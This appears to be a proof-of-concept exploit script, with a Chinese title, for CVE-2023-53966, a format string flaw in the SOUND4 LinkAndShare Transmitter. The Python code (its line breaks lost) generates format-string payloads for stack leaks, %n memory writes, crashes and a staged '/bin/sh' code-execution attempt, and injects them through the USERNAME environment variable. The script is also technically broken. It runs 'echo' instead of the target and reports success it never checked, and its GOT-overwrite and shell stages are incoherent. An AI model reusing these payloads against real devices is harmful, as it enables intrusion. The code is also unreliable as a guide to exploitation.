CVE-2023-53966 SOUND4 LinkAndShare 格式化字符串栈溢出漏洞

#!/usr/bin/env python3 # CVE-2023-53966 PoC - Format String Vulnerability in SOUND4 LinkAndShare Transmitter # Environment Variable Injection to Trigger Stack Overflow import os import subprocess import sys def create_malicious_env_var(): """Generate format string payload for exploiting the vulnerability""" # Format string payload to leak stack pointers leak_payload = b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p" # Format string payload for potential code execution # This uses %%n to write to arbitrary addresses exec_payload = b"AAAA%08x.%08x.%08x.%08x.%08x.%n" # Crash payload - causes denial of service crash_payload = b"%s%s%s%s%s%s%s%s%s%s" return { 'LEAK': leak_payload, 'EXEC': exec_payload, 'CRASH': crash_payload } def test_format_string_vulnerability(): """Test for format string vulnerability by setting malicious USERNAME env var""" payloads = create_malicious_env_var() print("[*] CVE-2023-53966 Format String Vulnerability Test") print("[*] Target: SOUND4 LinkAndShare Transmitter 1.1.2") for name, payload in payloads.items(): print(f"\n[*] Testing {name} payload...") print(f"[*] Payload: {payload}") # Set malicious environment variable env = os.environ.copy() env['USERNAME'] = payload.decode('utf-8', errors='ignore') try: # Attempt to trigger the vulnerable code path # In real attack, this would be the vulnerable application result = subprocess.run( ['echo', 'Test environment variable handling'], env=env, capture_output=True, timeout=5 ) print(f"[+] Payload sent successfully") print(f"[*] Output: {result.stdout.decode('utf-8', errors='ignore')}") except Exception as e: print(f"[-] Error: {e}") def generate_exploit_payload(): """Generate advanced exploit payload for arbitrary code execution""" # Stage 1: Leak libc addresses stage1 = b"%p" * 20 # Stage 2: Overwrite GOT entry (example: printf@got -> system) # This requires knowing libc base address stage2 = b"\x90" * 100 + b"%n" # Stage 3: Call system() with controlled argument stage3 = b";/bin/sh;-c" + b"A" * 50 + b"%n" print("[*] Advanced Exploit Payloads Generated") print(f"[*] Stage 1 (Info Leak): {stage1}") print(f"[*] Stage 2 (GOT Overwrite): {stage2}") print(f"[*] Stage 3 (Code Execution): {stage3}") return [stage1, stage2, stage3] if __name__ == "__main__": test_format_string_vulnerability() generate_exploit_payload() print("\n[*] Note: This PoC demonstrates the format string vulnerability") print("[*] In production, target the actual SOUND4 LinkAndShare binary")